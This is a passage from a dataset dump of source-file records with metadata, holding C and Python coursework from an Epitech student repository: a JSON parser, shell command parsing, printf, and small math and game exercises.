json_stringify_string(data->data));\n break;\n default:\n json = json_stringify_step(json, data);\n }\n return json;\n}" }, { "alpha_fraction": 0.5251938104629517, "alphanum_fraction": 0.5426356792449951, "avg_line_length": 21.478260040283203, "blob_id": "8a79613b2a74b18100cb37bf93c0a4b6a4ab9d41", "content_id": "feac8fa4d61f9e9e4a0fa7e91db22e369cc83370", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 516, "license_type": "no_license", "max_line_length": 57, "num_lines": 23, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_parse_value.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_parse_value\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n\nvoid *json_parse_value(char **cursor, json_object_t *obj)\n{\n if ((*cursor)[0] >= '0' && (*cursor)[0] <= '9') {\n obj->type = JSON_INT;\n obj->data = json_parse_number(cursor, obj);\n } else if ((*cursor)[0] == '\"') {\n obj->type = JSON_STRING;\n obj->data = json_parse_string(cursor);\n } else {\n obj = json_parse_step(cursor, obj);\n }\n return obj;\n}" }, { "alpha_fraction": 0.7017280459403992, "alphanum_fraction": 0.7092411518096924, "avg_line_length": 27.95652198791504, "blob_id": "b3f4d8f1a882bc2450126ee9f84b991641feda0d", "content_id": "f0de2bc99c1830de9a3dc4dc12e49f10ed40e9e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1331, "license_type": "no_license", "max_line_length": 79, "num_lines": 46, "path": "/tek1/Game/MUL_my_rpg_2019/include/json.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json.h\n*/\n\n#ifndef JSON_H_\n#define JSON_H_\n\n#include \"linked.h\"\n\n#define JSON_LIST 1\n#define JSON_DICT 2\n#define JSON_INT 3\n#define JSON_DOUBLE 4\n#define JSON_STRING 5\n#define JSON_INVALID 6\n\ntypedef struct json_object {\n void *data;\n void *next;\n char *index;\n int type;\n} json_object_t;\n\njson_object_t *json_parse_append(json_object_t *obj, json_object_t *to_append);\nchar *json_parse_string(char **cursor);\nvoid *json_parse_number(char **cursor, json_object_t *obj);\njson_object_t *json_parse_step(char **cursor, json_object_t *obj);\nvoid *json_parse_value(char **cursor, json_object_t *obj);\njson_object_t *json_parse_list(char **cursor);\njson_object_t *json_parse_dict(char **cursor);\nvoid *json_parse(char *json);\nchar *json_stringify_dict(char *json, json_object_t *data);\nchar *json_stringify_double(json_object_t *data);\nchar *json_stringify_list(char *json, json_object_t *data);\nchar *json_stringify_string(char *data);\nchar *json_stringify_value(char *json, json_object_t *data);\nchar *json_stringify_step(char *json, json_object_t *data);\nchar *json_stringify(json_object_t *data);\nchar *json_stringify_append(char *json, char *to_append);\njson_object_t *read_json(char *filename);\nvoid json_destroy(json_object_t *obj);\n\n#endif /* !JSON_H_ */" }, { "alpha_fraction": 0.4595186114311218, "alphanum_fraction": 0.49890589714050293, "avg_line_length": 18.08333396911621, "blob_id": "83e2dc53088a19034d01dee6edfc561f2f64f6ae", "content_id": "c063520574caabdcdf26f52968088cfe4e973267", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 457, "license_type": "no_license", "max_line_length": 68, "num_lines": 24, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/my_strstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d02_2019\n** File description:\n** my_strstr.c\n*/\n\n#include \"phoenix.h\"\n\nchar *my_strstr(char *str, char const *to_find)\n{\n int pos = 0;\n int counter = 0;\n\n while (counter < my_strlen(str)) {\n for (int pos2 = pos; str[pos2] == to_find[counter];pos2++) {\n if (to_find[pos2] == '\\0')\n return (&str[pos]);\n counter++;\n }\n pos++;\n }\n return (0);\n}" }, { "alpha_fraction": 0.4333333373069763, "alphanum_fraction": 0.4636363685131073, "avg_line_length": 14.714285850524902, "blob_id": "4e2f9ec4752b02727801b1ee9f3db14032e95e6f", "content_id": "4ba44f920ae5adc114ee1f8af7a62f43eb633e7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 330, "license_type": "no_license", "max_line_length": 34, "num_lines": 21, "path": "/tek1/Piscine/CPool_evalexpr_2019/lib/my/my_compute_square_root.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_square_root\n** File description:\n** task05\n*/\n\nint my_compute_square_root(int nb)\n{\n int nbr = 1;\n\n if (nb <= 1)\n return 0;\n while (nbr * nbr != nb) {\n nbr++;\n if (nb == nbr * nbr)\n return nbr;\n if (nbr == nb)\n return 0;\n }\n}\n" }, { "alpha_fraction": 0.41709843277931213, "alphanum_fraction": 0.4533678889274597, "avg_line_length": 14.4399995803833, "blob_id": "75e79e482e4334d24e03eaede7f07b657e15af9c", "content_id": "f9a601527f18acafeaa1e81700fd8be31642c129", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 386, "license_type": "no_license", "max_line_length": 31, "num_lines": 25, "path": "/tek1/Piscine/CPool_Day05_2019/my_is_prime.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_is_prime\n** File description:\n** task06 by clement fleur\n*/\n\nint my_is_prime(int nb)\n{\n int div_count = 2;\n int check;\n\n if (nb <= 0)\n return 0;\n if (nb == 1)\n return 0;\n while (div_count != nb) {\n check = nb % div_count;\n div_count++;\n if (check == 0) {\n return 0;\n }\n }\n return 1;\n}\n" }, { "alpha_fraction": 0.5163244605064392, "alphanum_fraction": 0.5250757336616516, "avg_line_length": 28.425743103027344, "blob_id": "050e2a791705b119d2cfc699e6776c9f5fc28f83", "content_id": "cda3f0f81edeb635eca5734dc210ca87fbae17f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2971, "license_type": "no_license", "max_line_length": 79, "num_lines": 101, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/parse.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_42sh_2019\n** File description:\n** parse\n*/\n\n#include \"shell.h\"\n#include \"string.h\"\n#include <stdlib.h>\n\nlinked_list_t *create_command_list(char *str)\n{\n char *beginning = str;\n int i;\n linked_list_t *list = 0;\n char *which;\n\n if (!str) return 0;\n for (i = 0; str[i]; i++) {\n if (str[i] != ';' && !my_str_startswith(str + i, \"&&\") &&\n !my_str_startswith(str + i, \"||\")) continue;\n which = str[i] == ';' ? \";\" : (my_str_startswith(str + i, \"&&\") ? \"&&\"\n : \"||\");\n str[i] = '\\0';\n list = ll_append(list, my_strdup(beginning));\n list = ll_append(list, my_strdup(which));\n beginning = str + i + my_strlen(which);\n i += my_strlen(which) - 1;\n }\n if (beginning != str + i) list = ll_append(list, my_strdup(beginning));\n return list;\n}\n\nlinked_list_t *create_word_list(char *str)\n{\n char *beginning = str;\n int i;\n linked_list_t *list = 0;\n\n if (!str) return 0;\n for (i = 0; str[i]; i++) {\n if (str[i] != ' ' && str[i] != '\\t' && str[i] != '\\n') continue;\n if (beginning == str + i) {\n beginning = str + i + 1;\n continue;\n }\n str[i] = '\\0';\n list = ll_append(list, beginning);\n beginning = str + i + 1;\n }\n if (beginning != str + i)\n list = ll_append(list, beginning);\n return list;\n}\n\nint parse_command(char *command, dictionary_t **env_vars,\n dictionary_t *builtins)\n{\n linked_list_t *word_list = create_word_list(command);\n int argc = ll_len(word_list);\n char **argv;\n int i = 0;\n int return_value;\n\n if (!word_list) return 0;\n argv = malloc(sizeof(char *) * argc);\n for (linked_list_t *list = word_list; list; list = list->next) {\n argv[i] = my_strdup(list->data);\n i++;\n }\n ll_free(word_list, no_free);\n return_value = builtin_check(argc, argv, env_vars, builtins);\n for (i = 0; i < argc; i++)\n free(argv[i]);\n free(argv);\n return return_value;\n}\n\nint parse_input(char *command, dictionary_t **env_vars, dictionary_t *builtins)\n{\n linked_list_t *command_list = create_command_list(command);\n int return_value = 0;\n int operator = OPERATOR_NEWLINE;\n\n if (!command || !my_strcmp(command, \"\")) return 0;\n for (linked_list_t *i = command_list; i; i = i->next) {\n if (!my_strcmp(i->data, \";\") || !my_strcmp(i->data, \"&&\") ||\n !my_strcmp(i->data, \"||\")) {\n operator = !my_strcmp(i->data, \";\") ? OPERATOR_NEWLINE :\n (!my_strcmp(i->data, \"&&\") ? OPERATOR_AND : OPERATOR_OR);\n my_printf(\"%s\\n\", i->data);\n continue;\n }\n if (operator == OPERATOR_NEWLINE || (operator == OPERATOR_AND &&\n !return_value) || (operator == OPERATOR_OR && return_value))\n return_value = parse_command(i->data, env_vars, builtins);\n }\n ll_free(command_list, free);\n return return_value;\n}" }, { "alpha_fraction": 0.41074857115745544, "alphanum_fraction": 0.44913628697395325, "avg_line_length": 16.399999618530273, "blob_id": "62acf83a8c2b202bf4fd02090c9a21dd3838c052", "content_id": "50a1a45633ca283b0f79810ae81c1ddb0399cb04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 521, "license_type": "no_license", "max_line_length": 59, "num_lines": 30, "path": "/tek1/Advanced/PSU_42sh_2019/src/builtins/echo.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** echo.c\n*/\n\n#include \"shell.h\"\n\nint builtin_echo(int argc, char **argv, dictionary_t **env)\n{\n int i = 1;\n\n UNUSED(env);\n if (argc <= 1) {\n my_putstr(\"\\n\");\n return 0;\n }\n if (my_strcmp(argv[1], \"-n\") == 0)\n i = 2;\n while(i < argc) {\n my_putstr(argv[i]);\n if (i < argc - 1)\n my_putstr(\" \");\n i++;\n }\n if (my_strcmp(argv[1], \"-n\") == 1)\n my_putstr(\"\\n\");\n return 0;\n}" }, { "alpha_fraction": 0.602150559425354, "alphanum_fraction": 0.6200717091560364, "avg_line_length": 15.470588684082031, "blob_id": "1e0ea38fc83bb2fa7192b786a40139f69c6acd37", "content_id": "490c76353f659a9e49ca3d78d13c554ed76d3f35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 279, "license_type": "no_license", "max_line_length": 64, "num_lines": 17, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strdup.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strdup\n** File description:\n** Duplicates a string\n*/\n\n#include <stdlib.h>\n#include \"my.h\"\n\nchar *my_strdup(char const *str)\n{\n char *new_str = malloc(sizeof(char) * (my_strlen(str) + 1));\n\n my_strcpy(new_str, str);\n return (new_str);\n}" }, { "alpha_fraction": 0.47096091508865356, "alphanum_fraction": 0.4941921830177307, "avg_line_length": 19.148935317993164, "blob_id": "c59e22b3a53db7e8e801e0e80b207e35efe820f7", "content_id": "95cbb365cbcbc9fb3f1e3e3c10c5442ec14a7f15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 947, "license_type": "no_license", "max_line_length": 76, "num_lines": 47, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/test_tab2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_BSQ_2019\n** File description:\n** testing string and redirecting\n*/\n\n#include <stdio.h>\n#include \"struct.h\"\n#include \"my.h\"\n\nvoid redirect(char **tab, int lenght, int width)\n{\n t_bsq bsq;\n\n bsq.len = lenght;\n bsq.wid = width;\n bsq.count = 0;\n bsq.tmp = 0;\n bsq.i = 0;\n while (bsq.i < (bsq.len + 1) * (bsq.wid + 1))\n find(tab, &lenght, &width, &bsq);\n if (bsq.count > 2)\n tabtab(tab, bsq.x, bsq.y, bsq.count);\n else\n tabtab2(tab);\n bsq.i = 0;\n while (bsq.i <= bsq.len) {\n my_putstr(tab[bsq.i]);\n my_putchar('\\n');\n bsq.i = bsq.i + 1;\n }\n}\n\nint test_tab(int tmp, char **tab, int width, int lenght)\n{\n int\ti = 0;\n\n if (tab[lenght][width] != '.')\n return (0);\n while (i < tmp) {\n if (tab[lenght][width + i] != '.' || tab[lenght + i][width] != '.')\n return (0);\n i = i + 1;\n }\n return (1);\n}\n" }, { "alpha_fraction": 0.4964539110660553, "alphanum_fraction": 0.5096251368522644, "avg_line_length": 19.163265228271484, "blob_id": "a424421774e9db423bf682fc1bbc34ef1d77778f", "content_id": "f115cf6fccfbf5e9faf1ad63b9918a16fa4291d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 987, "license_type": "no_license", "max_line_length": 56, "num_lines": 49, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/my_printf.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_printf\n** File description:\n** my_printf\n*/\n\n#include <stdarg.h>\n#include \"tools.h\"\n\nint process_type(char type, va_list args)\n{\n switch (type)\n {\n case 'd':\n return my_put_nbr(va_arg(args, int));\n case 'i':\n return my_put_nbr(va_arg(args, int));\n case 'f':\n return my_putdouble(va_arg(args, double), 6, 1);\n case 'F':\n return my_putdouble(va_arg(args, double), 6, 1);\n case 'c':\n return my_putchar(va_arg(args, int));\n case 's':\n return my_putstr(va_arg(args, char *));\n case '%':\n return my_putchar('%');\n default:\n return 0;\n }\n}\n\nint my_printf(char const *format, ...)\n{\n va_list args;\n int i = 0;\n\n va_start(args, format);\n while (format[i]) {\n if (format[i] == '%' && format[i + 1]) {\n process_type(format[i + 1], args);\n i++;\n } else my_putchar(format[i]);\n i++;\n }\n va_end(args);\n return 0;\n}" }, { "alpha_fraction": 0.5649819374084473, "alphanum_fraction": 0.5812274217605591, "avg_line_length": 22.10416603088379, "blob_id": "5a1c523f6ab4cede901f38528f4dcdbf331a8327", "content_id": "2409f43423c55ac940ffce5b5c7f8284fdc3c401", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1108, "license_type": "no_license", "max_line_length": 73, "num_lines": 48, "path": "/tek1/Game/MUL_my_rpg_2019/src/dialogue/start.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** start\n*/\n\n#include \"rpg.h\"\n\nint check_dial_condition(dialogue_condition_t *cond, quest_t *quest)\n{\n char **split;\n\n if (!my_strcmp(cond->quest, \"none\") && !quest)\n return 1;\n split = my_strsplit(cond->quest, ':');\n if (!my_strcmp(split[0], quest->file) &&\n !my_strcmp(split[1], quest->objective)) {\n free(split[0]);\n free(split);\n return 1;\n }\n free(split[0]);\n free(split);\n return 0;\n}\n\nint check_dial_conditions(linked_list_t *conditions, quest_t *quest)\n{\n int cond_ok = 1;\n\n for (linked_list_t *i = conditions; i; i = i->next)\n cond_ok = cond_ok ? check_dial_condition(i->data, quest) : 0;\n return cond_ok;\n}\n\ndialogue_t *dialogue_start(entity_t *entity, quest_t *quest)\n{\n linked_list_t *dialogues = dict_get(entity->extra_data, \"dialogues\");\n dialogue_t *dial;\n\n for (linked_list_t *i = dialogues; i; i = i->next) {\n dial = i->data;\n if (check_dial_conditions(dial->conditions, quest))\n return dial;\n }\n return 0;\n}" }, { "alpha_fraction": 0.6616702079772949, "alphanum_fraction": 0.6723768711090088, "avg_line_length": 18.5, "blob_id": "c638105075146360729a76928b0419533b2a18ee", "content_id": "788a240c047baf57e4c934384d75f103ded08b95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 467, "license_type": "no_license", "max_line_length": 74, "num_lines": 24, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/my_framebuffer.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** framebuffer_create\n** File description:\n** framebuffer_create\n*/\n\n#include <stdlib.h>\n#include \"game.h\"\n\nframebuffer_t *framebuffer_create(unsigned int width, unsigned int height)\n{\n framebuffer_t *fb = malloc(sizeof(framebuffer_t));\n\n fb->pixels = malloc(sizeof(sfColor) * width * height + 1);\n fb->width = width;\n fb->height = height;\n return fb;\n}\n\nvoid framebuffer_destroy(framebuffer_t *fb)\n{\n free(fb->pixels);\n}" }, { "alpha_fraction": 0.5768072009086609, "alphanum_fraction": 0.6024096608161926, "avg_line_length": 20.419355392456055, "blob_id": "8724127c654349cc4ed9d6f97d996b665c6baeaa", "content_id": "05896cb7940c47cc9347c836561c479686a9b22c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 664, "license_type": "no_license", "max_line_length": 71, "num_lines": 31, "path": "/tek1/Advanced/PSU_navy_2019/sources/server.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** server.c\n*/\n\n#include \"navy.h\"\n\nvoid client_is_connected(int sig, siginfo_t *info, void *context)\n{\n receive[0] = info->si_pid;\n\n my_printf(\"\\nenemy connected\\n\\n\");\n}\n\nint init_server(char **map, char **pos)\n{\n struct sigaction sa;\n\n my_printf(\"my_pid:\\t%d\\n\", getpid());\n my_printf(\"waiting for enemy connection...\\n\");\n sigemptyset(&sa.sa_mask);\n sa.sa_flags = SA_SIGINFO;\n sa.sa_sigaction = client_is_connected;\n sigaction(SIGUSR1, &sa, NULL);\n pause();\n if (kill(receive[0], SIGUSR2) == -1 || run_navy(map, pos, 1) == -1)\n return -1;\n return 0;\n}\n" }, { "alpha_fraction": 0.46382978558540344, "alphanum_fraction": 0.5021276473999023, "avg_line_length": 11.421052932739258, "blob_id": "d0008d017618bffa829552c2d15c125cea45a3d0", "content_id": "c7398d532840296c348d347436d34fc4324cab16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 235, "license_type": "no_license", "max_line_length": 28, "num_lines": 19, "path": "/tek1/Advanced/PSU_navy_2019/sources/destroy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** destroy.c\n*/\n\n#include \"navy.h\"\n\nvoid my_free_tab(char **tab)\n{\n int i = 0;\n\n while (tab[i] != NULL) {\n free(tab[i]);\n i++;\n }\n free(tab);\n}" }, { "alpha_fraction": 0.505906879901886, "alphanum_fraction": 0.532314121723175, "avg_line_length": 24.714284896850586, "blob_id": "b291758e62d3dcb120866064fbecbe9331a987ac", "content_id": "b8cf50df73b18466d2922f0c7e7e00780f3cedf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1459, "license_type": "no_license", "max_line_length": 74, "num_lines": 56, "path": "/tek1/Mathématique/108trigo_2019/108trigo", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 108trigo_2019\n## File description:\n## main\n##\n\nimport sys\nimport math\nfrom trigo_calcul import *\n\ndef help():\n if len(sys.argv) >= 2 and (sys.argv[1] == \"-h\"):\n print(\"USAGE\")\n print(\" ./108trigo fun a0 a1 a2 ...\\n\")\n print(\"DESCRIPTION\")\n print(\" fun function to be applied, among at least \", end=\"\")\n print(\"“EXP”, “COS”, “SIN”, “COSH” and “SINH”\")\n print(\" ai coeficients of the matrix\")\n sys.exit(84)\n\ndef check_args_to_float():\n try:\n counter = 2\n while counter < len(sys.argv):\n float(sys.argv[counter])\n counter = counter + 1\n except ValueError:\n print (\"Please check your arguments, or see -h\")\n sys.exit(84)\n return 0\n\ndef function_switcher():\n i = 0\n arg_list = [\"EXP\", \"COS\", \"SIN\", \"COSH\", \"SINH\"]\n func = [my_exp, my_cos, my_sin, my_cosh, my_sinh]\n while i < 5:\n if sys.argv[1] == arg_list[i]:\n func[i]()\n i = i + 1\n\ndef main():\n help()\n if len(sys.argv) <= 4:\n print(\"Error : Not enough arguments. Please check\")\n sys.exit(84)\n if sys.argv[1] not in [\"EXP\", \"COS\", \"SIN\", \"COSH\", \"SINH\"]:\n print(\"Error : Function name incorrect. please see -h\")\n sys.exit(84)\n check_args_to_float()\n function_switcher()\n print(sys.argv[2:])\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.28985506296157837, "alphanum_fraction": 0.32903918623924255, "avg_line_length": 19.043010711669922, "blob_id": "c3c7d399289c6bc8803a71a54961fec1731b42ac", "content_id": "39f82d0179624599a22c2b4c720f2012137cd0e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1863, "license_type": "no_license", "max_line_length": 59, "num_lines": 93, "path": "/tek1/Mathématique/103cipher_2019/result.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 103cipher_2019\n## File description:\n## result.py\n##\n\ndef calc(matrix, asci):\n result = []\n i = 0\n j = 0\n x = 0\n c = 0\n nb = 0\n y = 0\n z = 0\n while z < len(asci):\n while j < len(matrix):\n while c < len(matrix):\n nb += matrix[x][i] * asci[y][x]\n x += 1\n c += 1\n if z + 1 == len(asci) and j + 1 == len(matrix):\n print(nb)\n else:\n print(nb, \"\", end=\"\")\n result.append(nb)\n i +=1\n c = 0\n j += 1\n x = 0\n nb = 0\n i = 0\n j = 0\n y += 1\n z += 1\n\n\ndef calc2(matrix, asci):\n result = []\n i = 0\n j = 0\n x = 0\n c = 0\n nb = 0\n y = 0\n z = 0\n while z < len(asci):\n while j < len(matrix):\n while c < len(matrix):\n nb += matrix[x][i] * asci[y][x]\n x += 1\n c += 1\n if z + 1 == len(asci) and j + 1 == len(matrix):\n print(chr(int(round(nb, 1))))\n else:\n print(chr(int(round(nb, 1))), end=\"\")\n result.append(nb)\n i +=1\n c = 0\n j += 1\n x = 0\n nb = 0\n i = 0\n j = 0\n y += 1\n z += 1\n\ndef calc3(matrix, asci):\n result = []\n i = 0\n j = 0\n x = 0\n c = 0\n nb = 0\n y = 0\n z = 0\n while j < len(matrix):\n while c < len(matrix):\n nb += matrix[x][i] * asci[y][x]\n x += 1\n c += 1\n if j + 1 == len(matrix):\n print(chr(int(round(nb, 1))))\n else:\n print(chr(int(round(nb, 1))), end=\"\")\n result.append(nb)\n i +=1\n c = 0\n j += 1\n x = 0\n nb = 0\n y =+ 1" }, { "alpha_fraction": 0.552480936050415, "alphanum_fraction": 0.5591602921485901, "avg_line_length": 22.840909957885742, "blob_id": "99619a9196502086b63d1ebafc0df049f964d758", "content_id": "9cb295b59d793b12e3116c861685e72e457ed9c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1048, "license_type": "no_license", "max_line_length": 76, "num_lines": 44, "path": "/tek1/Functionnal/CPE_lemin_2019/src/display.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Visual Studio Live Share (Workspace)\n** File description:\n** display.c\n*/\n\n#include \"lemin.h\"\n\nvoid display_rooms(lemin_data_t *data)\n{\n room_t *room;\n\n for (dictionary_t *i = data->rooms; i; i = i->next){\n room = i->data;\n if (!my_strcmp(data->start_room, room->name) ||\n !my_strcmp(data->end_room, room->name))\n my_printf(\"##%s\\n\", !my_strcmp(data->start_room, room->name) ?\n \"start\" : \"end\");\n my_printf(\"%s %d %d\\n\", room->name, room->coords.x, room->coords.y);\n }\n}\n\nvoid display_tunnels(lemin_data_t *data)\n{\n tunnel_t *tunnel;\n\n for (linked_list_t *i = data->tunnels; i; i = i->next){\n tunnel = i->data;\n my_printf(\"%s-%s\\n\", tunnel->room1->name, tunnel->room2->name);\n }\n}\n\nint init_display(lemin_data_t *data)\n{\n\n my_printf(\"#number_of_ants\\n%d\\n\", data->ants_nb);\n my_printf(\"#rooms\\n\");\n display_rooms(data);\n my_printf(\"#tunnels\\n\");\n display_tunnels(data);\n my_printf(\"#moves\\n\");\n return 0;\n}" }, { "alpha_fraction": 0.4417475759983063, "alphanum_fraction": 0.48155340552330017, "avg_line_length": 19.600000381469727, "blob_id": "06e3e96ae33466eda6295e3af3277dea83287de9", "content_id": "0421ae6d0803a7e7cbd18d077a55b65b7f0bc5b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1030, "license_type": "no_license", "max_line_length": 69, "num_lines": 50, "path": "/tek1/QuickTest/CPE_solostumper_3_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** main.c\n** File description:\n** by clement fleur\n*/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n\nint calculate(char **argv)\n{\n int a = atoi(argv[1]);\n int b = atoi(argv[2]);\n int checka;\n int i;\n\n while (a <= b) {\n checka = a;\n if (checka % 3 == 0 && checka % 5 != 0)\n printf(\"Fizz\\n\");\n if (checka % 5 == 0 && checka % 3 != 0)\n printf(\"Buzz\\n\");\n if (checka % 3 == 0 && checka % 5 == 0)\n printf(\"FizzBuzz\\n\");\n checka % 3 != 0 && checka % 5 != 0 ? printf(\"%d\\n\", a) : i++;\n a++;\n }\n return 0;\n}\n\nint check_error(char **argv, int ac)\n{\n if (ac <= 2)\n return 84;\n else if (atoi(argv[1]) > atoi(argv[2])) {\n write(2, \"Error: the second parameter must be \", 36);\n write(2, \"greater than the first one.\\n\", 28);\n return 84;\n }\n return 0;\n}\n\nint main(int ac, char **argv)\n{\n if (check_error(argv, ac) == 84)\n return 84;\n return calculate(argv);\n}\n" }, { "alpha_fraction": 0.4313131272792816, "alphanum_fraction": 0.46666666865348816, "avg_line_length": 20.532608032226562, "blob_id": "65dff000a5f29c915a0c10b37e1f0504a7649124", "content_id": "01008ab08fda9cde5081a8180cddf31fdee46f77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1980, "license_type": "no_license", "max_line_length": 58, "num_lines": 92, "path": "/tek1/QuickTest/SYN_palindrome_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_minishell2_2019\n** File description:\n** main.c\n*/\n\n#include \"include/my.h\"\n#include \"include/palindrome.h\"\n#include <stdio.h>\n\nint check_multiplarg(int ac, char **av)\n{\n int check = 0;\n\n for (int i = 0; i != ac; i++) {\n if (my_strcmp(av[i], \"-p\") == 1)\n check++;\n else if (my_strcmp(av[i], \"-n\") == 1)\n check++;\n }\n if (check != 1)\n return 84;\n return 0;\n}\n\nint error_handling(int ac, char **av)\n{\n if (ac < 3)\n return 84;\n if (check_int(av, ac) == 84 || check_nbr(av, ac) == 84\n || check_base(av, ac) == 84) {\n my_putstr(\"invalid argument\\n\");\n return 84;\n }\n if (check_multiplarg(ac, av) == 84) {\n my_putstr(\"invalid argument\\n\");\n return 84;\n }\n return 0;\n}\n\nvoid check_option(palindrome *pal, char **av, int ac)\n{\n int i = 3;\n char *tab[] = {\"-imin\", \"-imax\", \"-b\", 0};\n int nbr[] = {0, 100, 10};\n\n while (i < ac) {\n for (int p = 0; tab[p] != 0; p++) {\n if (my_strcmp(tab[p], av[i]) == 1)\n nbr[p] = my_getnbr(av[i + 1]);\n }\n i = i + 2;\n }\n pal->imin = nbr[0];\n pal->imax = nbr[1];\n pal->base = nbr[2];\n}\n\nvoid init_struct(palindrome *pal, char **av, int ac)\n{\n if (my_strcmp(av[1], \"-n\") == 1) {\n pal->number = my_getnbr(av[2]);\n check_option(pal, av, ac);\n }\n else if (my_strcmp(av[1], \"-p\") == 1) {\n pal->number = my_getnbr(av[2]);\n check_option(pal, av, ac);\n }\n}\n\nint main(int ac, char **av)\n{\n palindrome pal;\n int checker = 0;\n\n if (ac > 1 && av[1][0] == '-' && av[1][1] == 'h') {\n help();\n return 0;\n }\n if (error_handling(ac, av) == 84)\n return 84;\n init_struct(&pal, av, ac);\n if (my_strcmp(av[1], \"-p\") == 1)\n checker = palind(&pal);\n else\n checker = palindromic(&pal);\n if (checker == 0)\n my_putstr(\"no solution\\n\");\n return 0;\n}" }, { "alpha_fraction": 0.4717369079589844, "alphanum_fraction": 0.49331963062286377, "avg_line_length": 16.39285659790039, "blob_id": "109046aa9c2a3e140648aa59291dc35d6f3d31ba", "content_id": "043f38a8bb6de7d632cd8643c059263bff1c653f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 973, "license_type": "no_license", "max_line_length": 78, "num_lines": 56, "path": "/tek1/Functionnal/CPE_matchstick_2019/lib/my/my_strlenpipe.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_matchstick_2019\n** File description:\n** my_strlenpipe.c\n*/\n\n#include \"my.h\"\n#include \"match.h\"\n#include <stdio.h>\n\nvoid writeplayerinfo(int nbr, int line)\n{\n my_putstr(\"Player removed \");\n my_put_nbr(nbr);\n my_putstr(\" match(es) from line \");\n my_put_nbr(line);\n my_putchar('\\n');\n}\n\nint check_line(char **str, int line, match_t *match, char *str2)\n{\n if (match->line < line || pipecount(str[line]) == 0 || str[line][1] == '*'\n || line == 0) {\n my_putstr(\"Error: this line is out of range\\n\");\n startgame(str, match, str2);\n return 84;\n }\n}\n\nint pipecount(char *str)\n{\n int i = 